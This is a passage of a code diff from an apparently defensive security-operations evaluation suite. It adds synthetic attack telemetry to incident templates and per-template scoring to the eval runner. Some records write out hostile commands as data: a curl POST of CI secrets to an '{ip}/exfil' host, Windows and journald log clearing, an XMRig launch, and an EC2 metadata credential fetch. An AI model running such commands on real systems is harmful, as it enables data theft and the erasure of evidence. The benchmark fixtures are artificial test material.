+ 11,
+ Computer="{host}",
+ Image="C:\\Users\\{user}\\AppData\\Local\\sched.exe",
+ TargetFilename="C:\\Users\\{user}\\AppData\\Local\\clip.log",
+ User="{user}",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Exfiltration (TA0010)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="dns-tunnel-exfil",
title="DNS tunnelling exfiltration from {host}",
description=(
"DNS query volume from {host} 50× baseline. TXT records contain base64-encoded "
@@ -553,8 +1315,19 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("dns tunnel", "txt records", "base64", "exfiltrat", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _dns(
+ qname="aGVsbG8gd29ybGQK.exfil.{ip}.in-addr.arpa",
+ qtype="TXT",
+ src_host="{host}",
+ dst_ip="{ip}",
+ response_size=512,
+ qps=240,
+ ),
+ ),
),
Template(
+ template_id="s3-exfil-cloud-storage",
title="Cloud storage exfil: data egress to attacker-controlled S3 from {host}",
description=(
"Egress from {host} to s3://atk-stage-{ip}/dump/ by {user}. 8 GB transferred over 20 "
@@ -566,8 +1339,19 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("s3", "cloud storage", "egress", "exfiltrat", "{host}", "{ip}", "{user}"),
placeholders=("host", "ip", "user"),
+ telemetry=(
+ _cloudtrail(
+ "PutObject",
+ event_source="s3.amazonaws.com",
+ userIdentity={"type": "IAMUser", "userName": "{user}"},
+ sourceIPAddress="{host}",
+ requestParameters={"bucketName": "atk-stage-{ip}", "key": "dump/customers.tar.gz"},
+ resources=[{"ARN": "arn:aws:s3:::atk-stage-{ip}/dump/customers.tar.gz"}],
+ ),
+ ),
),
Template(
+ template_id="personal-drive-exfil",
title="Personal Drive exfil by {user}",
description=(
"{user} on {host} uploaded 4 GB to personal Google Drive. Files include source code "
@@ -579,12 +1363,23 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("google drive", "personal", "exfiltrat", "source code", "pii", "{host}", "{user}"),
placeholders=("user", "host"),
+ telemetry=(
+ _web(
+ "POST",
+ url="https://www.googleapis.com/upload/drive/v3/files",
+ status=200,
+ src_host="{host}",
+ src_user="{user}",
+ bytes_out=4_300_000_000,
+ file_count=812,
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Command and Control (TA0011)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="dga-c2",
title="DGA-based C2 traffic from {host}",
description=(
"DGA traffic from {host} observed; 200+ NXDomain replies/min, IoCs match {campaign} "
@@ -596,8 +1391,27 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("dga", "domain generation", "nxdomain", "beacon", "{host}", "{ip}", "{campaign}"),
placeholders=("host", "ip", "campaign"),
+ telemetry=(
+ _dns(
+ qname="qkz3pl4vnxq2.com",
+ qtype="A",
+ src_host="{host}",
+ rcode="NXDOMAIN",
+ qps_above_baseline=50.0,
+ ),
+ _sysmon(
+ 3,
+ Computer="{host}",
+ Image="C:\\Windows\\System32\\svchost.exe",
+ DestinationIp="{ip}",
+ DestinationPort=443,
+ Protocol="tcp",
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="https-c2-beacon",
title="HTTPS C2 beacon from {host} to {ip}",
description=(
"Periodic HTTPS beacon from {host} to {ip} every 60 seconds with low jitter. JA3 "
@@ -609,12 +1423,24 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("c2", "beacon", "ja3", "Cobalt Strike", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _sysmon(
+ 3,
+ Computer="{host}",
+ DestinationIp="{ip}",
+ DestinationPort=443,
+ Protocol="tcp",
+ ja3="a0e9f5d64349fb13191bc781f81f42e1",
+ interval_secs=60,
+ jitter_pct=2,
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Impact (TA0040)
# ─────────────────────────────────────────────────────────
Template(
+ template_id="ransomware-encryption",
title="Ransomware encryption in progress on {host}",
description=(
"Mass file rename observed on {host} ({user}); .{ext} extension applied to ~20 k "
@@ -626,8 +1452,32 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("ransomware", "encrypt", "rename", "ransom note", "{host}", "{user}", "{campaign}"),
placeholders=("host", "user", "ext", "campaign"),
+ telemetry=(
+ _sysmon(
+ 11,
+ Computer="{host}",
+ Image="C:\\ProgramData\\enc.exe",
+ TargetFilename="C:\\Users\\{user}\\Documents\\notes.docx{ext}",
+ User="{user}",
+ rename_rate_per_min=4200,
+ ),
+ _sysmon(
+ 11,
+ Computer="{host}",
+ Image="C:\\ProgramData\\enc.exe",
+ TargetFilename="C:\\Users\\{user}\\Desktop\\R3ADM3-{campaign}.txt",
+ User="{user}",
+ ),
+ _edr(
+ "Ransomware behaviour: high-rate file rename + ransom note",
+ Computer="{host}",
+ threat_actor="{campaign}",
+ severity="critical",
+ ),
+ ),
),
Template(
+ template_id="xmrig-cryptominer",
title="Cryptominer execution on {host}",
description=(
"XMRig miner spawned on {host}; CPU saturated to 95%. Mining pool {ip}:5555. Linked "
@@ -639,8 +1489,20 @@ TEMPLATES: list[Template] = [
response_class="isolate_host",
evidence_keywords=("xmrig", "miner", "cryptomine", "{host}", "{ip}", "{campaign}"),
placeholders=("host", "ip", "campaign"),
+ telemetry=(
+ _auditd(
+ "execve",
+ exe="/tmp/xmrig",
+ a0="xmrig",
+ a1="-o",
+ a2="{ip}:5555",
+ hostname="{host}",
+ cpu_pct=95,
+ ),
+ ),
),
Template(
+ template_id="bec-wire-fraud",
title="BEC: payment redirect by {user}",
description=(
"Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by {user} from "
@@ -652,12 +1514,24 @@ TEMPLATES: list[Template] = [
response_class="escalate",
evidence_keywords=("phishing", "spoofed cfo", "wire transfer", "$250", "{user}", "{host}", "{campaign}"),
placeholders=("user", "host", "campaign"),
+ telemetry=(
+ _m365(
+ "Send",
+ workload="Exchange",
+ UserId="{user}",
+ ClientIP="{host}",
+ Subject="URGENT: Wire instructions from CFO",
+ ReplyTo="[email protected]",
+ threat_actor="{campaign}",
+ ),
+ ),
),
-
# ─────────────────────────────────────────────────────────
# Cloud / Identity / Mobile / Misc
# ─────────────────────────────────────────────────────────
Template(
+ template_id="public-s3-bucket-pii",
title="Public S3 bucket exposing PII",
description=(
"S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external "
@@ -669,8 +1543,24 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("s3", "public bucket", "pii", "cloudtrail", "{ip}"),
placeholders=("ip",),
+ telemetry=(
+ _cloudtrail(
+ "PutBucketAcl",
+ event_source="s3.amazonaws.com",
+ userIdentity={"type": "IAMUser", "userName": "[email protected]"},
+ requestParameters={"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}},
+ ),
+ _cloudtrail(
+ "ListObjectsV2",
+ event_source="s3.amazonaws.com",
+ sourceIPAddress="{ip}",
+ requestParameters={"bucketName": "aisoc-employees", "max-keys": 1000},
+ userIdentity={"type": "AnonymousUser"},
+ ),
+ ),
),
Template(
+ template_id="azure-ad-impossible-travel",
title="Identity provider compromise — anomalous Azure AD sign-in for {user}",
description=(
"Successful Azure AD sign-in for {user} from {ip} (impossible-travel from prior "
@@ -682,8 +1572,20 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("azure ad", "impossible travel", "session token", "mfa", "{user}", "{ip}"),
placeholders=("user", "ip"),
+ telemetry=(
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ location={"city": "Vladivostok", "countryOrRegion": "RU"},
+ resultType=0,
+ authenticationDetails=[{"authenticationMethod": "Previously satisfied", "succeeded": True}],
+ riskEventTypes=["unfamiliarFeatures", "unlikelyTravel"],
+ riskLevelAggregated="high",
+ ),
+ ),
),
Template(
+ template_id="ddos-syn-flood",
title="DDoS volumetric flood targeting public-facing {host}",
description=(
"L4 SYN flood from a botnet (>1M PPS) targeting {host}. Edge mitigation engaged but "
@@ -695,8 +1597,20 @@ TEMPLATES: list[Template] = [
response_class="block_indicator",
evidence_keywords=("ddos", "syn flood", "botnet", "{host}", "1M PPS"),
placeholders=("host",),
+ telemetry=(
+ _web(
+ "GET",
+ url="https://{host}/",
+ status=503,
+ pps=1_120_000,
+ packet_type="TCP-SYN",
+ edge_mitigation="engaged",
+ duration_secs=720,
+ ),
+ ),
),
Template(
+ template_id="insider-mailbox-export",
title="Insider preparing departure: large mailbox export by {user}",
description=(
"{user} exported full mailbox PST (8 GB) from {host}. HR flag: notice given last "
@@ -708,8 +1622,18 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("mailbox export", "PST", "insider", "departure", "{user}", "{host}"),
placeholders=("user", "host"),
+ telemetry=(
+ _m365(
+ "New-MailboxExportRequest",
+ workload="Exchange",
+ UserId="{user}",
+ Parameters={"Mailbox": "{user}", "FilePath": "\\\\{host}\\export\\{user}.pst"},
+ Bytes=8_300_000_000,
+ ),
+ ),
),
Template(
+ template_id="office-vsto-addin",
title="Malicious Office add-in installed for {user}",
description=(
"Office VSTO add-in registered under HKCU for {user} on {host}; loads on every Outlook "
@@ -721,8 +1645,26 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("office add-in", "vsto", "outlook", "{user}", "{host}", "{ip}"),
placeholders=("user", "host", "ip"),
+ telemetry=(
+ _sysmon(
+ 13,
+ Computer="{host}",
+ User="{user}",
+ EventType="SetValue",
+ TargetObject="HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ Details="LoadBehavior=3;Manifest=file:///C:/Users/{user}/AppData/Roaming/aisoc.vsto",
+ ),
+ _sysmon(
+ 3,
+ Computer="{host}",
+ Image="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ DestinationIp="{ip}",
+ DestinationPort=443,
+ ),
+ ),
),
Template(
+ template_id="github-pat-leak",
title="GitHub PAT leaked and abused from {ip}",
description=(
"Personal access token belonging to {user} used from {ip} to clone 14 private repos. "
@@ -734,8 +1676,27 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("github", "pat", "token", "private repo", "{user}", "{ip}"),
placeholders=("user", "ip"),
+ telemetry=(
+ _github(
+ "git.clone",
+ actor="{user}",
+ actor_ip="{ip}",
+ repo_count=14,
+ programmatic_access_type="personal_access_token",
+ user_agent="git/2.40.0",
+ ),
+ _github(
+ "push",
+ actor="{user}",
+ repo="{user}/dotfiles",
+ visibility="public",
+ file_changed=".env",
+ secret_detected="github_pat_*",
+ ),
+ ),
),
Template(
+ template_id="ec2-imds-credential-theft",
title="EC2 instance metadata service abused on {host}",
description=(
"IMDSv1 abused on {host}; temporary IAM credentials for role exfilled to {ip}. "
@@ -747,8 +1708,25 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("imds", "metadata", "iam credentials", "AssumeRole", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _web(
+ "GET",
+ url="http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ status=200,
+ src_host="{host}",
+ imds_version="v1",
+ ),
+ _cloudtrail(
+ "AssumeRole",
+ event_source="sts.amazonaws.com",
+ sourceIPAddress="{ip}",
+ userIdentity={"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"},
+ userAgent="aws-cli/2.13",
+ ),
+ ),
),
Template(
+ template_id="helpdesk-password-reset-abuse",
title="Vendor admin password reset abuse for {user}",
description=(
"Password reset for {user} performed by helpdesk in response to social-engineering "
@@ -760,8 +1738,24 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("password reset", "social engineering", "helpdesk", "{user}", "{ip}"),
placeholders=("user", "ip"),
+ telemetry=(
+ _m365(
+ "Reset user password.",
+ workload="AzureActiveDirectory",
+ UserId="[email protected]",
+ TargetUserId="{user}",
+ ClientIP="10.0.0.50",
+ ),
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ resultType=0,
+ seconds_after_reset=87,
+ ),
+ ),
),
Template(
+ template_id="oauth-refresh-token-theft",
title="OAuth refresh-token theft for {user}",
description=(
"Refresh token for {user} replayed from {ip}. Granted access to mailbox + "
@@ -773,8 +1767,19 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("oauth", "refresh token", "replay", "onedrive", "mailbox", "{user}", "{ip}"),
placeholders=("user", "ip"),
+ telemetry=(
+ _azure_signin(
+ userPrincipalName="{user}",
+ ipAddress="{ip}",
+ resultType=0,
+ authenticationProtocol="oAuth2",
+ grantType="refresh_token",
+ resourceDisplayName="Microsoft Graph",
+ ),
+ ),
),
Template(
+ template_id="malicious-container-image",
title="Container image with embedded backdoor pulled by {host}",
description=(
"Image registry/repo:malicious-backdoor pulled by {host}. Layer scan flagged "
@@ -786,8 +1791,24 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("container image", "registry", "backdoor", "netcat", "{host}"),
placeholders=("host",),
+ telemetry=(
+ _k8s(
+ "create",
+ resource="pods",
+ user={"username": "system:serviceaccount:default:deploy"},
+ requestObject={"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}},
+ node="{host}",
+ ),
+ _edr(
+ "Image scan: embedded netcat reverse-shell binary",
+ Computer="{host}",
+ image="registry.local/repo:malicious-backdoor",
+ cve_layer_count=2,
+ ),
+ ),
),
Template(
+ template_id="outlook-auto-forward-rule",
title="Outlook rule auto-forwarding mail from {user}",
description=(
"Outlook inbox rule created for {user} that forwards all mail to external address at "
@@ -799,8 +1820,23 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("outlook rule", "forward", "mail", "{user}", "{ip}", "{campaign}"),
placeholders=("user", "ip", "campaign"),
+ telemetry=(
+ _m365(
+ "New-InboxRule",
+ workload="Exchange",
+ UserId="{user}",
+ Parameters={
+ "Name": "Sync",
+ "ForwardTo": "ext@{ip}",
+ "DeleteMessage": True,
+ "MarkAsRead": True,
+ },
+ threat_actor="{campaign}",
+ ),
+ ),
),
Template(
+ template_id="linux-journald-tampering",
title="Linux journald log tampering on {host}",
description=(
"journalctl --rotate --vacuum-time=1s observed on {host} by {user}; recent journal "
@@ -812,8 +1848,20 @@ TEMPLATES: list[Template] = [
response_class="escalate",
evidence_keywords=("journalctl", "log tampering", "vacuum", "{host}", "{user}"),
placeholders=("host", "user"),
+ telemetry=(
+ _auditd(
+ "execve",
+ exe="/usr/bin/journalctl",
+ a0="journalctl",
+ a1="--rotate",
+ a2="--vacuum-time=1s",
+ hostname="{host}",
+ user="{user}",
+ ),
+ ),
),
Template(
+ template_id="compromised-ci-runner",
title="Compromised CI runner on {host} pushing to production",
description=(
"Self-hosted CI runner {host} compromised. Job triggered from PR injected secret "
@@ -825,8 +1873,28 @@ TEMPLATES: list[Template] = [
response_class="rollback_change",
evidence_keywords=("ci runner", "self-hosted", "secret", "exfil", "{host}", "{ip}"),
placeholders=("host", "ip"),
+ telemetry=(
+ _github(
+ "workflow_run.requested",
+ workflow="deploy.yml",
+ actor="external-contrib",
+ repository="aisoc/web",
+ event="pull_request",
+ runner="{host}",
+ ),
+ _auditd(
+ "execve",
+ exe="/usr/bin/curl",
+ a1="-X", a2="POST",
+ a3="https://{ip}/exfil",
+ hostname="{host}",
+ user="ci-runner",
+ secret_detected=True,
+ ),
+ ),
),
Template(
+ template_id="vpn-new-geography",
title="Suspicious VPN login from new geography for {user}",
description=(
"VPN login for {user} from {ip} (new country, no prior history). Subsequent "
@@ -838,8 +1906,26 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("vpn", "new geography", "lateral", "smb scan", "{user}", "{ip}", "{host}"),
placeholders=("user", "ip", "host"),
+ telemetry=(
+ _vpn(
+ "login_success",
+ user="{user}",
+ src_ip="{ip}",
+ geo_country="UA",
+ first_login_country=True,
+ ),
+ _winsec(
+ 5145,
+ Computer="{host}",
+ SubjectUserName="{user}",
+ ShareName="\\\\*\\IPC$",
+ IpAddress="{ip}",
+ EventCount=128,
+ ),
+ ),
),
Template(
+ template_id="service-account-privileged-command",
title="Privileged command run as service account on {host}",
description=(
"Service account {user} (no interactive use expected) ran privileged net.exe + "
@@ -851,6 +1937,16 @@ TEMPLATES: list[Template] = [
response_class="disable_account",
evidence_keywords=("service account", "wevtutil", "log clear", "{user}", "{host}"),
placeholders=("user", "host"),
+ telemetry=(
+ _sysmon(
+ 1,
+ Computer="{host}",
+ User="{user}",
+ Image="C:\\Windows\\System32\\wevtutil.exe",
+ CommandLine="wevtutil cl Security",
+ LogonType=5, # Service
+ ),
+ ),
),
]
@@ -882,49 +1978,81 @@ def _resolve_placeholders(template: Template, index: int) -> dict[str, str]:
}
subs: dict[str, str] = {}
for ph in template.placeholders:
- salt = f"{template.title}|{ph}"
+ salt = f"{template.template_id}|{ph}"
subs[ph] = _pick(pool_map[ph], index, salt)
# If the template references {target_host} ensure it differs from {host}
if "target_host" in subs and subs.get("host") == subs.get("target_host"):
- # bump by one for diversity (still deterministic)
target_idx = (HOSTNAMES.index(subs["target_host"]) + 1) % len(HOSTNAMES)
subs["target_host"] = HOSTNAMES[target_idx]
- # Fill any unreferenced placeholders that appear in title/description with empty
return subs
-def _format(text: str, subs: dict[str, str]) -> str:
+def _format_str(text: str, subs: dict[str, str]) -> str:
"""Format `text`, leaving unresolved placeholders alone (no KeyError)."""
out = text
for k, v in subs.items():
- out = out.replace("{" + k + "}", v)
+ out = out.replace("{" + k + "}", str(v))
return out
+def _resolve_value(value: Any, subs: dict[str, str]) -> Any:
+ """
+ Recursively resolve {placeholder} tokens inside strings, lists and dicts.
+
+ Non-string scalars (int, float, bool, None) are passed through unchanged.
+ Dict values are resolved; dict keys are NOT resolved (we don't expect
+ placeholder keys in canonical telemetry shapes).
+ """
+ if isinstance(value, str):
+ return _format_str(value, subs)
+ if isinstance(value, list):
+ return [_resolve_value(v, subs) for v in value]
+ if isinstance(value, tuple):
+ return tuple(_resolve_value(v, subs) for v in value)
+ if isinstance(value, dict):
+ return {k: _resolve_value(v, subs) for k, v in value.items()}
+ return value
+
+
def _expand_evidence(keywords: tuple[str, ...], subs: dict[str, str]) -> list[str]:
"""Resolve placeholder evidence keywords against `subs`."""
- return [_format(k, subs) for k in keywords]
+ return [_format_str(k, subs) for k in keywords]
+
+
+def _resolve_telemetry(events: tuple[dict[str, Any], ...], subs: dict[str, str]) -> list[dict[str, Any]]:
+ """Resolve every event in a template's telemetry tuple."""
+ return [_resolve_value(ev, subs) for ev in events]
def generate_incidents(count: int) -> list[dict[str, Any]]:
"""Generate `count` deterministic incidents by cycling through templates.
- The cycle keeps coverage balanced across all templates: incident i uses
- `TEMPLATES[i % len(TEMPLATES)]` with a per-index parameter substitution.
- Re-running with the same `count` yields byte-identical output.
+ Re-running with the same `count` and template/telemetry data yields
+ byte-identical output.
"""
if not TEMPLATES:
raise RuntimeError("No templates defined.")
+ # Stable id check: catch typos / duplicates early.
+ seen_ids: set[str] = set()
+ for tpl in TEMPLATES:
+ if tpl.template_id in seen_ids:
+ raise RuntimeError(f"Duplicate template_id detected: {tpl.template_id}")
+ seen_ids.add(tpl.template_id)
+
incidents: list[dict[str, Any]] = []
for i in range(count):
- tpl = TEMPLATES[i % len(TEMPLATES)]
+ template_index = i % len(TEMPLATES)
+ tpl = TEMPLATES[template_index]
subs = _resolve_placeholders(tpl, i)
- title = _format(tpl.title, subs)
- description = _format(tpl.description, subs)
+ title = _format_str(tpl.title, subs)
+ description = _format_str(tpl.description, subs)
evidence = _expand_evidence(tpl.evidence_keywords, subs)
+ telemetry = _resolve_telemetry(tpl.telemetry, subs)
incidents.append(
{
"id": f"INC-EVAL-{i + 1:03d}",
+ "template_id": tpl.template_id,
+ "template_index": template_index,
"title": title,
"description": description,
"expected_tactics": list(tpl.tactics),
@@ -932,17 +2060,39 @@ def generate_incidents(count: int) -> list[dict[str, Any]]:
"severity": tpl.severity,
"response_class": tpl.response_class,
"evidence_keywords": evidence,
+ "telemetry": telemetry,
}
)
return incidents
+def write_telemetry_jsonl(incidents: list[dict[str, Any]], path: Path) -> int:
+ """Write one event per line annotated with incident_id/template_id/event_index."""
+ n = 0
+ path.parent.mkdir(parents=True, exist_ok=True)
+ with path.open("w", encoding="utf-8") as fh:
+ for inc in incidents:
+ for j, ev in enumerate(inc.get("telemetry", [])):
+ row = {
+ "incident_id": inc["id"],
+ "template_id": inc["template_id"],
+ "event_index": j,
+ **ev,
+ }
+ fh.write(json.dumps(row, sort_keys=False) + "\n")
+ n += 1
+ return n
+
+
def coverage_report(incidents: list[dict[str, Any]]) -> dict[str, Any]:
- """Summarize MITRE coverage of the generated set."""
+ """Summarize MITRE / template / telemetry coverage of the generated set."""
tactic_counts: dict[str, int] = {}
technique_counts: dict[str, int] = {}
severity_counts: dict[str, int] = {}
response_counts: dict[str, int] = {}
+ template_counts: dict[str, int] = {}
+ telemetry_source_counts: dict[str, int] = {}
+ incidents_with_telemetry = 0
for inc in incidents:
for t in inc["expected_tactics"]:
tactic_counts[t] = tactic_counts.get(t, 0) + 1
@@ -950,14 +2100,25 @@ def coverage_report(incidents: list[dict[str, Any]]) -> dict[str, Any]:
technique_counts[tech] = technique_counts.get(tech, 0) + 1
severity_counts[inc["severity"]] = severity_counts.get(inc["severity"], 0) + 1
response_counts[inc["response_class"]] = response_counts.get(inc["response_class"], 0) + 1
+ template_counts[inc["template_id"]] = template_counts.get(inc["template_id"], 0) + 1
+ events = inc.get("telemetry", [])
+ if events:
+ incidents_with_telemetry += 1
+ for ev in events:
+ src = ev.get("source", "unknown")
+ telemetry_source_counts[src] = telemetry_source_counts.get(src, 0) + 1
return {
"total": len(incidents),
"unique_titles": len({inc["title"] for inc in incidents}),
+ "unique_templates": len(template_counts),
+ "incidents_with_telemetry": incidents_with_telemetry,
+ "telemetry_events_total": sum(telemetry_source_counts.values()),
"tactics": dict(sorted(tactic_counts.items())),
"techniques": dict(sorted(technique_counts.items())),
"severity": dict(sorted(severity_counts.items())),
"response_class": dict(sorted(response_counts.items())),
- "templates_used": len({inc["title"][:30] for inc in incidents}),
+ "telemetry_sources": dict(sorted(telemetry_source_counts.items())),
+ "template_distribution": dict(sorted(template_counts.items())),
}
@@ -975,6 +2136,17 @@ def main() -> int:
/ "synthetic_incidents.json",
help="Output JSON path",
)
+ parser.add_argument(
+ "--telemetry-out",
+ type=Path,
+ default=Path(__file__).parent.parent
+ / "services"
+ / "agents"
+ / "tests"
+ / "eval_data"
+ / "synthetic_telemetry.jsonl",
+ help="Output JSONL path for the synthetic telemetry stream (one event per line)",
+ )
parser.add_argument("--coverage", action="store_true", help="Print coverage report after generating")
args = parser.parse_args()
@@ -982,7 +2154,10 @@ def main() -> int:
args.out.parent.mkdir(parents=True, exist_ok=True)
args.out.write_text(json.dumps(incidents, indent=2) + "\n")
+ n_events = write_telemetry_jsonl(incidents, args.telemetry_out)
+
print(f"Wrote {len(incidents)} incidents to {args.out}")
+ print(f"Wrote {n_events} telemetry events to {args.telemetry_out}")
if args.coverage:
report = coverage_report(incidents)
print("\n=== Coverage ===")
diff --git a/scripts/run_evals.py b/scripts/run_evals.py
index 708e05e1b..047838da9 100755
--- a/scripts/run_evals.py
+++ b/scripts/run_evals.py
@@ -11,6 +11,18 @@ Suites:
3. Investigation completeness (services/agents/tests/test_investigation_completeness.py)
4. Response-plan quality (services/agents/tests/test_response_quality.py)
+Each substrate suite reports two metrics:
+
+ * **Per-case mean** – classic average across all 200 incidents.
+ * **Per-template macro** – equal-weight average across the ~55 distinct
+ incident templates. Because each template is cycled 3-4× through
+ `{user}/{host}/{ip}/{campaign}` permutations, a single broken template
+ moves per-case mean by ~0.5% but per-template macro by ~1.5-1.8% — so
+ the macro is the regression-signal-preserving metric we gate on.
+
+The runner also dumps the synthetic-telemetry coverage summary so connector
+and Sigma-rule PRs can pin against a stable corpus.
+
Usage:
python3 scripts/run_evals.py # human-readable + writes report
python3 scripts/run_evals.py --json # JSON to stdout
@@ -56,12 +68,25 @@ _TARGETS = {
"response_quality": 0.80,
}
+# Per-template macro floors (kept slightly below per-case floors because each
+# template contributes ~1/55 of the macro vs. ~1/200 of the per-case mean).
+_TEMPLATE_TARGETS = {
+ "mitre_accuracy": 0.80,
+ "investigation_completeness": 0.80,
+ "response_quality": 0.75,
+}
+
+_TELEMETRY_PATH = (
+ _AGENTS_ROOT / "tests" / "eval_data" / "synthetic_telemetry.jsonl"
+)
+
def _run_mitre() -> dict:
t0 = time.perf_counter()
res = evaluate_mitre_accuracy(threshold=_TARGETS["mitre_accuracy"])
dur = (time.perf_counter() - t0) * 1000
- return {
+ tpl = res.per_template_summary() if hasattr(res, "per_template_summary") else None
+ out: dict = {
"metric": "accuracy",
"value": round(res.accuracy, 4),
"target": _TARGETS["mitre_accuracy"],
@@ -75,6 +100,19 @@ def _run_mitre() -> dict:
"f1": round(res.f1, 4),
},
}
+ if tpl:
+ macro = tpl.get("template_macro_accuracy", 0.0)
+ target = _TEMPLATE_TARGETS["mitre_accuracy"]
+ out["per_template"] = {
+ "metric": "macro_accuracy",
+ "value": round(macro, 4),
+ "target": target,
+ "passed": macro >= target,
+ "template_count": tpl.get("template_count", 0),
+ "failing_templates": [t["template_id"] for t in tpl.get("failing_templates", [])],
+ }
+ out["passed"] = out["passed"] and out["per_template"]["passed"]
+ return out
def _run_alert_reduction(stream_size: int = 1000) -> dict:
@@ -101,9 +139,9 @@ def _run_alert_reduction(stream_size: int = 1000) -> dict:
def _run_completeness() -> dict:
t0 = time.perf_counter()
- res = evaluate_completeness()
+ res = evaluate_completeness(keep_per_incident=True)
dur = (time.perf_counter() - t0) * 1000
- return {
+ out: dict = {
"metric": "mean_keyword_coverage",
"value": round(res.mean, 4),
"target": _TARGETS["investigation_completeness"],
@@ -115,13 +153,26 @@ def _run_completeness() -> dict:
"fully_covered_pct": round(res.full_coverage_pct, 4),
},
}
+ tpl = res.per_template_summary()
+ macro = tpl.get("template_macro_mean", 0.0)
+ target = _TEMPLATE_TARGETS["investigation_completeness"]
+ out["per_template"] = {
+ "metric": "macro_completeness",
+ "value": round(macro, 4),
+ "target": target,
+ "passed": macro >= target,
+ "template_count": tpl.get("template_count", 0),
+ "failing_templates": [t["template_id"] for t in tpl.get("failing_templates", [])],
+ }
+ out["passed"] = out["passed"] and out["per_template"]["passed"]
+ return out
def _run_response_quality() -> dict:
t0 = time.perf_counter()
- res = evaluate_response_quality()
+ res = evaluate_response_quality(keep_per_incident=True)
dur = (time.perf_counter() - t0) * 1000
- return {
+ out: dict = {
"metric": "mean_rubric_score",
"value": round(res.mean_score, 4),
"target": _TARGETS["response_quality"],
@@ -132,6 +183,54 @@ def _run_response_quality() -> dict:
"criteria": {k: round(res.crit_mean(k), 4) for k in res.crit_sum},
},
}
+ tpl = res.per_template_summary()
+ macro = tpl.get("template_macro_score", 0.0)
+ target = _TEMPLATE_TARGETS["response_quality"]
+ out["per_template"] = {
+ "metric": "macro_score",
+ "value": round(macro, 4),
+ "target": target,
+ "passed": macro >= target,
+ "template_count": tpl.get("template_count", 0),
+ "failing_templates": [t["template_id"] for t in tpl.get("failing_templates", [])],
+ }
+ out["passed"] = out["passed"] and out["per_template"]["passed"]
+ return out
+
+
+def _summarise_telemetry() -> dict:
+ """Summarise the synthetic-telemetry corpus produced alongside the dataset.
+
+ Returned shape stays small (no per-event payloads) so the eval report
+ remains diff-friendly. If the JSONL is missing, returns a stub so the
+ runner stays usable for hosts that strip out telemetry artefacts.
+ """
+ if not _TELEMETRY_PATH.exists():
+ return {"present": False, "events": 0, "sources": {}, "incidents_with_telemetry": 0}
+ sources: dict[str, int] = {}
+ incidents: set[str] = set()
+ total = 0
+ for line in _TELEMETRY_PATH.read_text().splitlines():
+ line = line.strip()
+ if not line:
+ continue
+ try:
+ evt = json.loads(line)
+ except json.JSONDecodeError:
+ continue
+ total += 1
+ src = evt.get("source", "unknown")
+ sources[src] = sources.get(src, 0) + 1
+ inc_id = evt.get("incident_id")
+ if inc_id:
+ incidents.add(inc_id)
+ return {
+ "present": True,
+ "events": total,
+ "sources": dict(sorted(sources.items())),
+ "incidents_with_telemetry": len(incidents),
+ "path": str(_TELEMETRY_PATH.relative_to(_REPO_ROOT)),
+ }
def main() -> None:
@@ -159,6 +258,7 @@ def main() -> None:
"investigation_completeness": _run_completeness(),
"response_quality": _run_response_quality(),
},
+ "telemetry": _summarise_telemetry(),
}
summary["all_passed"] = all(s["passed"] for s in summary["suites"].values())
@@ -168,16 +268,42 @@ def main() -> None:
print(json.dumps(summary, indent=2))
else:
print()
- print("=" * 76)
+ print("=" * 78)
print(" AiSOC Pillar-1 Eval - 200-incident synthetic benchmark")
- print("=" * 76)
+ print("=" * 78)
for name, suite in summary["suites"].items():
mark = "PASS" if suite["passed"] else "FAIL"
print(
f" [{mark}] {name:<28} {suite['metric']:<22} "
f"{suite['value']:.3f} (target >= {suite['target']:.2f})"
)
- print("=" * 76)
+ tpl = suite.get("per_template")
+ if tpl:
+ tpl_mark = "PASS" if tpl["passed"] else "FAIL"
+ fail_count = len(tpl.get("failing_templates", []))
+ fail_note = f" ({fail_count} failing templates)" if fail_count else ""
+ print(
+ f" per-template macro "
+ f"{tpl['value']:.3f} (target >= {tpl['target']:.2f}, "
+ f"n={tpl.get('template_count', 0)} templates) [{tpl_mark}]"
+ f"{fail_note}"
+ )
+ if fail_count:
+ failing = ", ".join(tpl["failing_templates"][:5])
